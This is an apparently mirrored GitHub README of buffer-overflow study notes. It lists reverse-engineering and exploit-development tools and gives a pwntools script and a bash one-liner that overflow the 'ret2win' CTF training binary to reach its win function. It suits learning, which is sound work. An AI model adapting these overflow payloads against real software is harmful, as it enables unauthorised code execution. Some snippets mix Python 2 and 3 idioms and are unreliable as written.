Giter VIP home page Giter VIP logo

bufferoverflows's Introduction

Buffer Overflows

Security level

Tools install

radare2

sudo apt install radare2
r2 ret2win
> aaaa         : analyse binary
> afl          : function list
> pdf @ main   : disassemble function

ropper

apt install python3-pip
pip install ropper

ghydra

gdb-peda

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
pattern_create 200
pattern offset AA0AAFAAb
r

gdb-pwndbg

pwndbg Built as a successor to frameworks like PEDA and GEF pwndbg is a plugin for GDB that greatly enhances its exploit development capability. https://github.com/pwndbg/pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

python3 pwn

apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools
from pwn import *
elf = context.binary = ELF('ret2win') 
info("%#x target", elf.symbols.ret2win) 

io = process(elf.path)
ret2win = p64(elf.symbols.ret2win)
payload = "A"*40 + ret2win

io.sendline(payload)
io.recvuntil("Here's your flag:") 
flag = io.recvline()
success(flag)

bash

python -c 'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00\x00"' | ./ret2win

bufferoverflows's People

Contributors

jossets avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.